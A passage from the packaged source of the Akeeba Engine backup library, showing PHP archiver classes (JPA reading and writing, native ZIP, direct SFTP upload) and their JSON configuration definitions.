				$junk = fread($this->_xform_fp, $restBytes);
			}

			$compressionType = $header_data['compression'];

			// Populate the return array
			$retArray['filename'] = $file;
			$retArray['skip']     = ($header_data['compsize'] == 0); // Skip over directories

			switch ($header_data['type'])
			{
				case 0:
					// directory
					break;

				case 1:
					// file
					switch ($compressionType)
					{
						case 0: // No compression
							if ($header_data['compsize'] > 0) // 0 byte files do not have data to be read
							{
								$retArray['data'] = fread($this->_xform_fp, $header_data['compsize']);
							}
							break;

						case 1: // GZip compression
							$zipData          = fread($this->_xform_fp, $header_data['compsize']);
							$retArray['data'] = gzinflate($zipData);
							break;

						case 2: // BZip2 compression
							$zipData          = fread($this->_xform_fp, $header_data['compsize']);
							$retArray['data'] = bzdecompress($zipData);
							break;
					}
					break;
			}
		}
		else
		{
			// This is not a file header. This means we are done.
			$retArray['done'] = true;
		}

		$retArray['offset'] = ftell($this->_xform_fp);

		return $retArray;
	}

	/**
	 * Skips over the JPA header entry and returns the offset file data starts from
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  boolean|integer  False on failure, offset otherwise
	 */
	private function _xformReadHeader()
	{
		// Fail for unreadable files
		if ($this->_xform_fp === false)
		{
			return false;
		}

		// Go to the beggining of the file
		rewind($this->_xform_fp);

		// Read the signature
		$sig = fread($this->_xform_fp, 3);

		// Not a JPA Archive?
		if ($sig != 'JPA')
		{
			return false;
		}

		// Read and parse header length
		$header_length_array = unpack('v', fread($this->_xform_fp, 2));
		$header_length       = $header_length_array[1];

		// Read and parse the known portion of header data (14 bytes)
		$bin_data    = fread($this->_xform_fp, 14);
		$header_data = unpack('Cmajor/Cminor/Vcount/Vuncsize/Vcsize', $bin_data);

		// Load any remaining header data (forward compatibility)
		$rest_length = $header_length - 19;

		if ($rest_length > 0)
		{
			$junk = fread($this->_xform_fp, $rest_length);
		}

		return ftell($this->_xform_fp);
	}

	/**
	 * Removes the $p_remove_dir from $p_filename, while prepending it with $p_add_dir.
	 * Largely based on code from the pclZip library.
	 *
	 * @param   string  $p_filename    The absolute file name to treat
	 * @param   string  $p_remove_dir  The path to remove
	 * @param   string  $p_add_dir     The path to prefix the treated file name with
	 *
	 * @return  string  The treated file name
	 */
	private function addRemovePaths($p_filename, $p_remove_dir, $p_add_dir)
	{
		$p_filename   = $this->fsUtils->TranslateWinPath($p_filename);
		$p_remove_dir = ($p_remove_dir == '') ? '' :
			$this->fsUtils->TranslateWinPath($p_remove_dir); //should fix corrupt backups, fix by nicholas

		$v_stored_filename = $p_filename;

		if (!($p_remove_dir == ""))
		{
			if (substr($p_remove_dir, -1) != '/')
			{
				$p_remove_dir .= "/";
			}

			if ((substr($p_filename, 0, 2) == "./") || (substr($p_remove_dir, 0, 2) == "./"))
			{
				if ((substr($p_filename, 0, 2) == "./") && (substr($p_remove_dir, 0, 2) != "./"))
				{
					$p_remove_dir = "./" . $p_remove_dir;
				}

				if ((substr($p_filename, 0, 2) != "./") && (substr($p_remove_dir, 0, 2) == "./"))
				{
					$p_remove_dir = substr($p_remove_dir, 2);
				}
			}

			$v_compare = $this->_PathInclusion($p_remove_dir, $p_filename);

			if ($v_compare > 0)
			{
				if ($v_compare == 2)
				{
					$v_stored_filename = "";
				}
				else
				{
					$v_stored_filename =
						substr($p_filename, (function_exists('mb_strlen') ? mb_strlen($p_remove_dir, '8bit') :
							strlen($p_remove_dir)));
				}
			}
		}
		else
		{
			$v_stored_filename = $p_filename;
		}

		if (!($p_add_dir == ""))
		{
			if (substr($p_add_dir, -1) == "/")
			{
				$v_stored_filename = $p_add_dir . $v_stored_filename;
			}
			else
			{
				$v_stored_filename = $p_add_dir . "/" . $v_stored_filename;
			}
		}

		return $v_stored_filename;
	}

	/**
	 * Automatically convert the installer from ANGIE to BRS.
	 *
	 * In February 2025 the restoration script was renamed from ANGIE to BRS, and was rewritten with a new framework.
	 * The naming convention remains similar to the older ANGIE installer:
	 * * `angie` becomes `brs` and it's the Joomla-specific restoration script.
	 * * `angie-wordpress` becomes `brs-wordpress` and it's the WordPress-specific restoration script.
	 * * `angie-generic` becomes `brs-generic` and it's the generic / bespoke PHP application restoration script.
	 *
	 * This method converts the various ANGIE installer slugs into the corresponding BRS slugs.
	 *
	 * Since we (veyr briefly) had some other ANGIE installers (`angiesolo`, `angie-drupal`, `angie-prestashop`) we will
	 * catch these and convert them to the appropriate slug.
	 *
	 * @param   string|null  $embedded_installer
	 *
	 * @return  string
	 */
	private function fromAngieToBrs(?string $embedded_installer): string
	{
		// Do not remove the ABSPATH check; it's used by the CLI script in ABWP instead of WPCLI.
		if (defined('WPINC') || defined('ABSPATH'))
		{
			$defaultInstaller = 'brs-wordpress';
		}
		// Joomla-specific installer, if we are running under Joomla!.
		elseif (defined('_JEXEC'))
		{
			$defaultInstaller = 'brs';
		}
		// Fallback to the generic installer
		else
		{
			$defaultInstaller = 'brs-generic';
		}

		// When no installer is specified, fall back to the default.
		if (empty($embedded_installer ?? ''))
		{
			return $defaultInstaller;
		}

		// Translate `angie` to `brs`.
		$altInstaller = str_replace('angie', 'brs', $embedded_installer);

		if (!in_array($altInstaller, ['brs', 'brs-generic', 'brs-wordpress']))
		{
			// Obsolete installers are converted to the generic case.
			if (str_ends_with($altInstaller, 'drupal') || str_ends_with($altInstaller, 'prestashop'))
			{
				return 'brs-generic';
			}

			// Anything below here is either `angiesolo`, or some rubbish. Fall back to the default installer.
			return $defaultInstaller;
		}

		return $altInstaller;
	}

}
PK     \%  %  7  vendor/akeeba/engine/engine/Archiver/Directsftpcurl.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Util\Transfer\SftpCurl;
use Exception;
use RuntimeException;

/**
 * Direct Transfer Over SFTP archiver class
 *
 * Transfers the files to a remote SFTP server instead of putting them in
 * an archive
 *
 */
class Directsftpcurl extends Base
{
	/** @var bool Could we connect to the server? */
	public $connect_ok = false;
	/** @var SftpCurl SFTP transport engine */
	private $sftpTransfer = false;
	/** @var string SFTP hostname */
	private $host;
	/** @var string SFTP port */
	private $port;
	/** @var string SFTP username */
	private $user;
	/** @var string SFTP password */
	private $pass;
	/** @var string Private key file */
	private $privkey;
	/** @var string Private key file */
	private $pubkey;
	/** @var string FTP initial directory */
	private $initdir;

	/**
	 * Initialises the archiver class, seeding the remote installation
	 * from an existent installer's JPA archive.
	 *
	 * @param   string  $targetArchivePath  Absolute path to the generated archive (ignored in this class)
	 * @param   array   $options            A named key array of options (optional)
	 *
	 * @return  void
	 */
	public function initialize($targetArchivePath, $options = [])
	{
		Factory::getLog()->debug(__CLASS__ . " :: new instance");

		$registry = Factory::getConfiguration();

		$this->host    = $registry->get('engine.archiver.directsftpcurl.host', '');
		$this->port    = $registry->get('engine.archiver.directsftpcurl.port', '22');
		$this->user    = $registry->get('engine.archiver.directsftpcurl.user', '');
		$this->pass    = $registry->get('engine.archiver.directsftpcurl.pass', '');
		$this->privkey = $registry->get('engine.archiver.directsftpcurl.privkey', '');
		$this->pubkey  = $registry->get('engine.archiver.directsftpcurl.pubkey', '');
		$this->initdir = $registry->get('engine.archiver.directsftpcurl.initial_directory', '');

		if (isset($options['host']))
		{
			$this->host = $options['host'];
		}

		if (isset($options['port']))
		{
			$this->port = $options['port'];
		}

		if (isset($options['user']))
		{
			$this->user = $options['user'];
		}

		if (isset($options['pass']))
		{
			$this->pass = $options['pass'];
		}

		if (isset($options['privkey']))
		{
			$this->privkey = $options['privkey'];
		}

		if (isset($options['pubkey']))
		{
			$this->pubkey = $options['pubkey'];
		}

		if (isset($options['initdir']))
		{
			$this->initdir = $options['initdir'];
		}

		// You can't fix stupid, but at least you get to shout at them
		if (strtolower(substr($this->host, 0, 7)) == 'sftp://')
		{
			Factory::getLog()->warning('YOU ARE *** N O T *** SUPPOSED TO ENTER THE sftp:// PROTOCOL PREFIX IN THE FTP HOSTNAME FIELD OF THE DirectSFTP ARCHIVER ENGINE.');
			Factory::getLog()->warning('I am trying to fix your bad configuration setting, but the backup might fail anyway. You MUST fix this in your configuration.');

			$this->host = substr($this->host, 7);
		}

		$this->connect_ok = $this->connectSFTP();

		Factory::getLog()->debug(__CLASS__ . " :: SFTP connection status: " . ($this->connect_ok ? 'success' : 'FAIL'));
	}

	/**
	 * Returns a string with the extension (including the dot) of the files produced
	 * by this class.
	 *
	 * @return string
	 */
	public function getExtension()
	{
		return '';
	}

	public function finalize()
	{
		// Nothing to do
	}

	/**
	 * "Magic" function called just before serialization of the object. Disconnects
	 * from the FTP server and allows PHP to serialize like normal.
	 *
	 * @return array The variables to serialize
	 */
	public function _onSerialize()
	{
		// Explicitally unset the sftpTransfer class so the destructor magic method is called (and the connection is closed)
		unset($this->sftpTransfer);

		return array_keys(get_object_vars($this));
	}

	/**
	 * The most basic file transaction: add a single entry (file or directory) to
	 * the archive.
	 *
	 * @param   bool    $isVirtual         If true, the next parameter contains file data instead of a file name
	 * @param   string  $sourceNameOrData  Absolute file name to read data from or the file data itself is $isVirtual is
	 *                                     true
	 * @param   string  $targetName        The (relative) file name under which to store the file in the archive
	 *
	 * @return boolean True on success, false otherwise
	 */
	protected function _addFile($isVirtual, &$sourceNameOrData, $targetName)
	{
		// Are we connected to a server?
		if (!$this->sftpTransfer)
		{
			if (!$this->connectSFTP())
			{
				return false;
			}
		}

		// See if it's a directory
		$isDir = $isVirtual ? false : is_dir($sourceNameOrData);

		if ($isDir)
		{
			// Just try to create the remote directory
			return $this->makeDirectory($targetName);
		}
		else
		{
			// We have a file we need to upload
			if ($isVirtual)
			{
				// Create a temporary file, upload, rename it
				$tempFileName = Factory::getTempFiles()->createRegisterTempFile();

				// Easy writing using file_put_contents
				if (@file_put_contents($tempFileName, $sourceNameOrData) === false)
				{
					throw new RuntimeException('Could not store virtual file ' . $targetName . ' to ' . $tempFileName . ' using file_put_contents() before uploading.');
				}

				// Upload the temporary file under the final name
				$res = $this->upload($tempFileName, $targetName);

				// Remove the temporary file
				Factory::getTempFiles()->unregisterAndDeleteTempFile($tempFileName, true);

				return $res;
			}
			else
			{
				// Upload a file
				return $this->upload($sourceNameOrData, $targetName);
			}
		}
	}

	/**
	 * Tries to connect to the remote SFTP server and change into the initial directory
	 *
	 * @return bool True is connection successful, false otherwise
	 *
	 * @throws Exception
	 */
	protected function connectSFTP()
	{
		Factory::getLog()->debug('Connecting to remote SFTP server');

		$options = [
			'host'       => $this->host,
			'port'       => $this->port,
			'username'   => $this->user,
			'password'   => $this->pass,
			'directory'  => $this->initdir,
			'privateKey' => $this->privkey,
			'publicKey'  => $this->pubkey,
		];

		$this->sftpTransfer = new SftpCurl($options);

		return true;
	}

	/**
	 * Changes to the requested directory in the remote server. You give only the
	 * path relative to the initial directory and it does all the rest by itself,
	 * including doing nothing if the remote directory is the one we want. If the
	 * directory doesn't exist, it creates it.
	 *
	 * @param $dir string The (realtive) remote directory
	 *
	 * @return bool True if successful, false otherwise.
	 */
	protected function sftp_chdir($dir)
	{
		// Calculate "real" (absolute) SFTP path
		$realdir = substr($this->initdir, -1) == '/' ? substr($this->initdir, 0, strlen($this->initdir) - 1) : $this->initdir;
		$realdir .= '/' . $dir;
		$realdir = substr($realdir, 0, 1) == '/' ? $realdir : '/' . $realdir;

		if ($this->initdir == $realdir)
		{
			// Already there, do nothing
			return true;
		}

		$result = $this->sftpTransfer->isDir($realdir);

		if ($result === false)
		{
			// The directory doesn't exist, let's try to create it...
			if (!$this->makeDirectory($dir))
			{
				return false;
			}
		}

		return true;
	}

	protected function makeDirectory($dir)
	{
		$alldirs     = explode('/', $dir);
		$previousDir = substr($this->initdir, -1) == '/' ? substr($this->initdir, 0, strlen($this->initdir) - 1) : $this->initdir;
		$previousDir = substr($previousDir, 0, 1) == '/' ? $previousDir : '/' . $previousDir;

		foreach ($alldirs as $curdir)
		{
			$check = $previousDir . '/' . $curdir;

			if (!@$this->sftpTransfer->isDir($check))
			{
				if ($this->sftpTransfer->mkdir($check) === false)
				{
					throw new RuntimeException('Could not create directory ' . $check);
				}
			}

			$previousDir = $check;
		}

		return true;
	}

	/**
	 * Uploads a file to the remote server
	 *
	 * @param $sourceName string The absolute path to the source local file
	 * @param $targetName string The relative path to the targer remote file
	 *
	 * @return bool True if successful
	 */
	protected function upload($sourceName, $targetName)
	{
		// Try to change into the remote directory, possibly creating it if it doesn't exist
		$dir = dirname($targetName);

		if (!$this->sftp_chdir($dir))
		{
			return false;
		}

		// Upload
		$realdir  = substr($this->initdir, -1) == '/' ? substr($this->initdir, 0, strlen($this->initdir) - 1) : $this->initdir;
		$realdir  .= '/' . $dir;
		$realdir  = substr($realdir, 0, 1) == '/' ? $realdir : '/' . $realdir;
		$realname = $realdir . '/' . basename($targetName);

		try
		{
			$this->sftpTransfer->upload($sourceName, $realname);
		}
		catch (RuntimeException $e)
		{
			Factory::getLog()->warning($e->getMessage());

			return false;
		}

		return true;
	}
}
PK     \    2  vendor/akeeba/engine/engine/Archiver/Zipnative.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use RuntimeException;
use ZipArchive;

/**
 * Class Zipnative
 *
 * This file uses the ZipArchive class to create and add files to existing ZIP
 * archives. For more information on the use of this class, please see:
 * 1. http://devzone.zend.com/article/2105 (tutorial)
 * 2. http://www.php.net/manual/en/class.ziparchive.php (reference)
 *
 * That said, the ZipArchive class is terribly inflexible when it comes down to
 * features already implemented in Akeeba Engine's Zip such as archive
 * splitting, chunked processing of very large files and processing of symlinks.
 * We deem it only suitable for small sites, without large files, running on a
 * decent hosting facility.
 */
class Zipnative extends Base
{
	/** @var string The name of the file holding the ZIP's data, which becomes the final archive */
	private $_dataFileName;

	/** @var ZipArchive An instance of the PHP ZIPArchive class */
	private $zip = null;

	/** @var int Running sum of bytes added to the archive */
	private $runningSum = 0;

	/** @var int Permissions for the backup archive part files */
	protected $permissions = null;

	/**
	 * Class constructor - initializes internal operating parameters
	 *
	 * @throws RuntimeException
	 */
	public function __construct()
	{
		Factory::getLog()->debug(__CLASS__ . " :: New instance");

		if (!class_exists('\ZipArchive'))
		{
			throw new RuntimeException('Your server does not support the ZipArchive extension. Please use a different Archiver Engine and retry backing up your site');
		}

		parent::__construct();
	}

	/**
	 * Common code which gets called on instance creation or wake-up (unserialization)
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	public function __bootstrap_code()
	{
		parent::__bootstrap_code();

		// So that the first run doesn't crash!
		if (empty($this->_dataFileName))
		{
			return;
		}

		// Try to reopen the ZIP
		$this->zip = new ZipArchive;

		if (!file_exists($this->_dataFileName))
		{
			$res = $this->zip->open($this->_dataFileName, ZipArchive::CREATE | ZipArchive::OVERWRITE);
		}
		else
		{
			$res = $this->zip->open($this->_dataFileName);
		}

		if ($res !== true)
		{
			switch ($res)
			{
				case ZipArchive::ER_EXISTS:
					throw new RuntimeException("The archive {$this->_dataFileName} already exists");
					break;

				case ZipArchive::ER_INCONS:
					throw new RuntimeException("Inconsistent archive {$this->_dataFileName} detected");
					break;

				case ZipArchive::ER_INVAL:
					throw new RuntimeException("Invalid archive {$this->_dataFileName} detected");
					break;

				case ZipArchive::ER_MEMORY:
					throw new RuntimeException("Not enough memory to process archive {$this->_dataFileName}");
					break;

				case ZipArchive::ER_NOENT:
					throw new RuntimeException("Unexpected ZipArchive::ER_NOENT error processing archive {$this->_dataFileName}");
					break;

				case ZipArchive::ER_NOZIP:
					throw new RuntimeException("File {$this->_dataFileName} is not a ZIP archive!");
					break;

				case ZipArchive::ER_OPEN:
					throw new RuntimeException("Could not open archive file {$this->_dataFileName} for writing");
					break;

				case ZipArchive::ER_READ:
					throw new RuntimeException("Could not read from archive file {$this->_dataFileName}");
					break;

				case ZipArchive::ER_SEEK:
					throw new RuntimeException("Could not seek into position while processing archive file {$this->_dataFileName}");
					break;
			}
		}
	}

	/**
	 * Initialises the archiver class, creating the archive from an existent
	 * installer's JPA archive.
	 *
	 * @param   string  $targetArchivePath  Absolute path to the generated archive
	 * @param   array   $options            A named key array of options (optional). This is currently not supported
	 *
	 * @return  void
	 */
	public function initialize($targetArchivePath, $options = [])
	{
		Factory::getLog()->debug(__CLASS__ . " :: initialize - archive $targetArchivePath");

		// Get names of temporary files
		$this->_dataFileName = $targetArchivePath;

		// Try to kill the archive if it exists
		Factory::getLog()->debug(__CLASS__ . " :: Killing old archive");

		$fp = fopen($this->_dataFileName, "w");

		if (!($fp === false))
		{
			ftruncate($fp, 0);
			$this->conditionalFileClose($fp);
		}
		else
		{
			@unlink($this->_dataFileName);
		}

		$this->runningSum = 0;

		// Make sure we open the file
		$this->__bootstrap_code();
	}

	/**
	 * In this engine, we have no finalization, really
	 *
	 * @return  void
	 */
	public function finalize()
	{
		$this->zip->close();

		@chmod($this->_dataFileName, $this->getPermissions());
	}

	/**
	 * Returns a string with the extension (including the dot) of the files produced
	 * by this class.
	 *
	 * @return string
	 */
	public function getExtension()
	{
		return '.zip';
	}

	/**
	 * The most basic file transaction: add a single entry (file or directory) to
	 * the archive.
	 *
	 * @param   bool    $isVirtual         If true, the next parameter contains file data instead of a file name
	 * @param   string  $sourceNameOrData  Absolute file name to read data from or the file data itself is $isVirtual is
	 *                                     true
	 * @param   string  $targetName        The (relative) file name under which to store the file in the archive
	 *
	 * @return bool True on success, false otherwise
	 */
	protected function _addFile($isVirtual, &$sourceNameOrData, $targetName)
	{
		if (!is_object($this->zip))
		{
			return false;
		}

		if (!$isVirtual)
		{
			Factory::getLog()->debug(__CLASS__ . " :: Adding $sourceNameOrData");

			if (is_dir($sourceNameOrData))
			{
				$result = $this->zip->addEmptyDir($targetName);
			}
			else
			{
				$this->runningSum += filesize($sourceNameOrData);
				$result           = $this->zip->addFile($sourceNameOrData, $targetName);
			}
		}
		else
		{
			Factory::getLog()->debug('  Virtual add:' . $targetName . ' (' . strlen($sourceNameOrData) . ')');
			$this->runningSum += strlen($sourceNameOrData);

			if (empty($sourceNameOrData))
			{
				$result = $this->zip->addEmptyDir($targetName);
			}
			else
			{
				$result = $this->zip->addFromString($targetName, $sourceNameOrData);
			}
		}

		$this->zip->close();
		$this->__bootstrap_code();

		return true;
	}

	/**
	 * Return the requested permissions for the backup archive file.
	 *
	 * @return  int
	 * @since   8.0.0
	 */
	protected function getPermissions(): int
	{
		if (!is_null($this->permissions))
		{
			return $this->permissions;
		}

		$configuration     = Factory::getConfiguration();
		$permissions       = $configuration->get('engine.archiver.common.permissions', '0666') ?: '0666';
		$this->permissions = octdec($permissions);

		return $this->permissions;
	}
}
PK     \3pP  P  -  vendor/akeeba/engine/engine/Archiver/jpa.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_JPA_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_JPA_DESCRIPTION"
    },
    "engine.archiver.common.dereference_symlinks": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DEREFERENCESYMLINKS_TITLE",
        "description": "COM_AKEEBA_CONFIG_DEREFERENCESYMLINKS_DESCRIPTION"
    },
    "engine.archiver.common.part_size": {
        "default": "0",
        "type": "integer",
        "min": "0",
        "max": "2147483648",
        "shortcuts": "0|131072|262144|524288|1048576|2097152|5242880|10485760|20971520|52428800|104857600|268435456|536870912|1073741824|1610612736|2097152000",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_PARTSIZE_TITLE",
        "description": "COM_AKEEBA_CONFIG_PARTSIZE_DESCRIPTION"
    },
    "engine.archiver.common.permissions": {
        "default": "0666",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_PERMISSIONS_0600|COM_AKEEBA_CONFIG_PERMISSIONS_0644|COM_AKEEBA_CONFIG_PERMISSIONS_0666",
        "enumvalues": "0600|0644|0666",
        "title": "COM_AKEEBA_CONFIG_PERMISSIONS_TITLE",
        "description": "COM_AKEEBA_CONFIG_PERMISSIONS_DESCRIPTION"
    },
    "engine.archiver.common.chunk_size": {
        "default": "1048576",
        "type": "integer",
        "min": "65536",
        "max": "10485760",
        "shortcuts": "65536|131072|262144|524288|1048576|2097152|5242880|10485760",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_CHUNKSIZE_TITLE",
        "description": "COM_AKEEBA_CONFIG_CHUNKSIZE_DESCRIPTION"
    },
    "engine.archiver.common.big_file_threshold": {
        "default": "1048576",
        "type": "integer",
        "min": "65536",
        "max": "10485760",
        "shortcuts": "65536|131072|262144|524288|1048576|2097152|5242880|10485760",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_BIGFILETHRESHOLD_TITLE",
        "description": "COM_AKEEBA_CONFIG_BIGFILETHRESHOLD_DESCRIPTION"
    }
}PK     \>fB  B  4  vendor/akeeba/engine/engine/Archiver/directsftp.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_DESCRIPTION"
    },
    "engine.archiver.directsftp.host": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTSFTP_HOST_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTSFTP_HOST_DESCRIPTION"
    },
    "engine.archiver.directsftp.port": {
        "default": "22",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTSFTP_PORT_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTSFTP_PORT_DESCRIPTION"
    },
    "engine.archiver.directsftp.user": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTSFTP_USER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTSFTP_USER_DESCRIPTION"
    },
    "engine.archiver.directsftp.pass": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_DIRECTSFTP_PASSWORD_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTSFTP_PASSWORD_DESCRIPTION"
    },
    "engine.archiver.directsftp.privkey": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PRIVKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PRIVKEY_DESCRIPTION"
    },
    "engine.archiver.directsftp.pubkey": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PUBKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PUBKEY_DESCRIPTION"
    },
    "engine.archiver.directsftp.initial_directory": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTSFTP_INITDIR_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTSFTP_INITDIR_DESCRIPTION"
    },
    "engine.archiver.directsftp.sftp_test": {
        "default": "0",
        "type": "button",
        "hook": "directsftp_test_connection",
        "title": "COM_AKEEBA_CONFIG_DIRECTSFTP_TEST_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTSFTP_TEST_DESCRIPTION"
    }
}PK     \^ez	  z	  7  vendor/akeeba/engine/engine/Archiver/directftpcurl.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_DESCRIPTION"
    },
    "engine.archiver.directftpcurl.host": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_HOST_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_HOST_DESCRIPTION"
    },
    "engine.archiver.directftpcurl.port": {
        "default": "21",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_PORT_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_PORT_DESCRIPTION"
    },
    "engine.archiver.directftpcurl.user": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_USER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_USER_DESCRIPTION"
    },
    "engine.archiver.directftpcurl.pass": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_PASSWORD_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_PASSWORD_DESCRIPTION"
    },
    "engine.archiver.directftpcurl.initial_directory": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_INITDIR_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_INITDIR_DESCRIPTION"
    },
    "engine.archiver.directftpcurl.ftps": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_FTPS_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_FTPS_DESCRIPTION"
    },
    "engine.archiver.directftpcurl.passive_mode": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_PASSIVE_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_PASSIVE_DESCRIPTION"
    },
    "engine.archiver.directftpcurl.passive_mode_workaround": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_DESCRIPTION"
    },
    "engine.archiver.directftpcurl.ftp_test": {
        "default": "0",
        "type": "button",
        "hook": "directftpcurl_test_connection",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_TEST_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_TEST_DESCRIPTION"
    }
}PK     \RL  L  ,  vendor/akeeba/engine/engine/Archiver/Jpa.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Factory;
use RuntimeException;

/**
 * JPA creation class
 *
 * JPA Format 1.2 implemented, minus BZip2 compression support
 */
class Jpa extends BaseArchiver
{
	/** @var string Standard Header signature */
	private const ARCHIVE_SIGNATURE = "\x4A\x50\x41";

	/** @var string Entity Block signature */
	private const FILE_HEADER_SIGNATURE = "\x4A\x50\x46";

	/** @var string Marks the split archive's extra header */
	private const SPLIT_ARCHIVE_EXTRA_HEADER = "\x4A\x50\x01\x01";

	/** @var string Marks the archive's 64-bit integer representations of file sizes (JPA v1.3) */
	private const ARCHIVE_LONGLONG_SIZES_EXTRA_HEADER = "\x4A\x50\x01\x02";

	/** @var integer How many files are contained in the archive */
	private $totalFilesCount = 0;

	/** @var integer The total size of files contained in the archive as they are stored */
	private $totalCompressedSize = 0;

	/** @var integer The total size of files contained in the archive when they are extracted to disk. */
	private $totalUncompressedSize = 0;

	/** @var int Current part file number */
	private $currentPartNumber = 1;

	/** @var int Total number of part files */
	private $totalParts = 1;

	/**
	 * Initialises the archiver class, creating the archive from an existent
	 * installer's JPA archive.
	 *
	 * @param   string  $targetArchivePath  Absolute path to the generated archive
	 * @param   array   $options            A named key array of options (optional)
	 *
	 * @return  void
	 */
	public function initialize($targetArchivePath, $options = [])
	{
		Factory::getLog()->debug(__CLASS__ . " :: new instance - archive $targetArchivePath");
		$this->_dataFileName = $targetArchivePath;

		// Should we enable Split ZIP feature?
		$this->enableSplitArchives();

		// Should I use Symlink Target Storage?
		$this->enableSymlinkTargetStorage();

		// Try to kill the archive if it exists
		$this->createNewBackupArchive();

		// Write the initial instance of the archive header
